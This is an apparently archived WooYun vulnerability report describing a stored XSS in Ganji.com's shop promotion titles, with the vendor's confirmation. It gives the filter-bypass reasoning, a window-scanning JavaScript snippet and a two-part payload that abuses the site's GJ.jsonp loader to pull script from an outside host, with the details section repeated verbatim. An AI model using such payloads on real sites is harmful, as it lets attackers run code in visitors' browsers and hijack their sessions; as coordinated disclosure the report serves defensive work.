当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075545

漏洞标题:赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

相关厂商:赶集网

漏洞作者: 0x_Jin

提交时间:2014-09-09 14:51

修复时间:2014-10-24 14:52

公开时间:2014-10-24 14:52

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-09: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向核心白帽子及相关领域专家公开
2014-09-29: 细节向普通白帽子公开
2014-10-09: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

简要描述:

输出点在标签外 过滤规则 不过滤< > 净过滤些乱七八糟的
某些功能隐藏在网站代码中,方便了程序员也方便了各位黑阔!

详细说明:

过滤了 jQuery $ = script标签不能成对出现否则为空
但是留下 < > 就有希望!
漏洞存储点在于 赶集的店铺 发布促销活动那。
在促销活动的标题那未过滤< >
但是过滤jQuery $ = script标签 并且限制了50个字符 限制了危险字符(不知道这个危险字符代表哪些script都不算)
漏洞存在地址:http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/
上图:

QQ20140909-1.png


在网页中使用了jquery 但是无法使用。。。(此处只想说wtf) 为什么不能用打开网页看下就知道。。。 输出点位置的问题。。。
不能用jquery 限制了50个字符 要加载js 怎么弄呢?
此处就来了好玩的 先扫描函数 code:
for (name in window) { if(name.length<=3){console.log(name)} }
扫描函数名长度为小于等于3的函数扫到了这个:

QQ20140909-2.png


然后来看看这个函数有哪些方法,我看到了这个:

QQ20140909-3.png


然后我们来看看这个方法的代码是怎样的

QQ20140909-4.png


美化一下代码 我看到了这个:

QQ20140909-5.png


哟呵,不错哟,在头部添加个script标签 并且src 可传递进去!
于是构造以下payload:
script标签不能成对出现,先提交这个促销标题: -->;</script>
然后再提交<script>GJ.jsonp('//20.rs')<!--
然后访问http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/ 就执行了20.rs的代码!
来看看head部分的dom把:

QQ20140909-6.png


咯咯,已经进去了!
我不会告诉你好多网站都有这样的功能比如5* 他们的函数就叫做loadjs
看图:

QQ20140909-7.png


漏洞证明:

过滤了 jQuery $ = script标签不能成对出现否则为空
但是留下 < > 就有希望!
漏洞存储点在于 赶集的店铺 发布促销活动那。
在促销活动的标题那未过滤< >
但是过滤jQuery $ = script标签 并且限制了50个字符 限制了危险字符(不知道这个危险字符代表哪些script都不算)
漏洞存在地址:http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/
上图:

QQ20140909-1.png


在网页中使用了jquery 但是无法使用。。。(此处只想说wtf) 为什么不能用打开网页看下就知道。。。 输出点位置的问题。。。
不能用jquery 限制了50个字符 要加载js 怎么弄呢?
此处就来了好玩的 先扫描函数 code:
for (name in window) { if(name.length<=3){console.log(name)} }
扫描函数名长度为小于等于3的函数扫到了这个:

QQ20140909-2.png


然后来看看这个函数有哪些方法,我看到了这个:

QQ20140909-3.png


然后我们来看看这个方法的代码是怎样的

QQ20140909-4.png


美化一下代码 我看到了这个:

QQ20140909-5.png


哟呵,不错哟,在头部添加个script标签 并且src 可传递进去!
于是构造以下payload:
script标签不能成对出现,先提交这个促销标题: -->;</script>
然后再提交<script>GJ.jsonp('//20.rs')<!--
然后访问http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/ 就执行了20.rs的代码!
来看看head部分的dom把:

QQ20140909-6.png


咯咯,已经进去了!
我不会告诉你好多网站都有这样的功能比如5* 他们的函数就叫做loadjs
看图:

QQ20140909-7.png


修复方案:

还是老一套~ 别把重要的留着不过滤 乱七八糟的过滤 弄的好像挑战赛一样!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-09-09 15:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对赶集安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无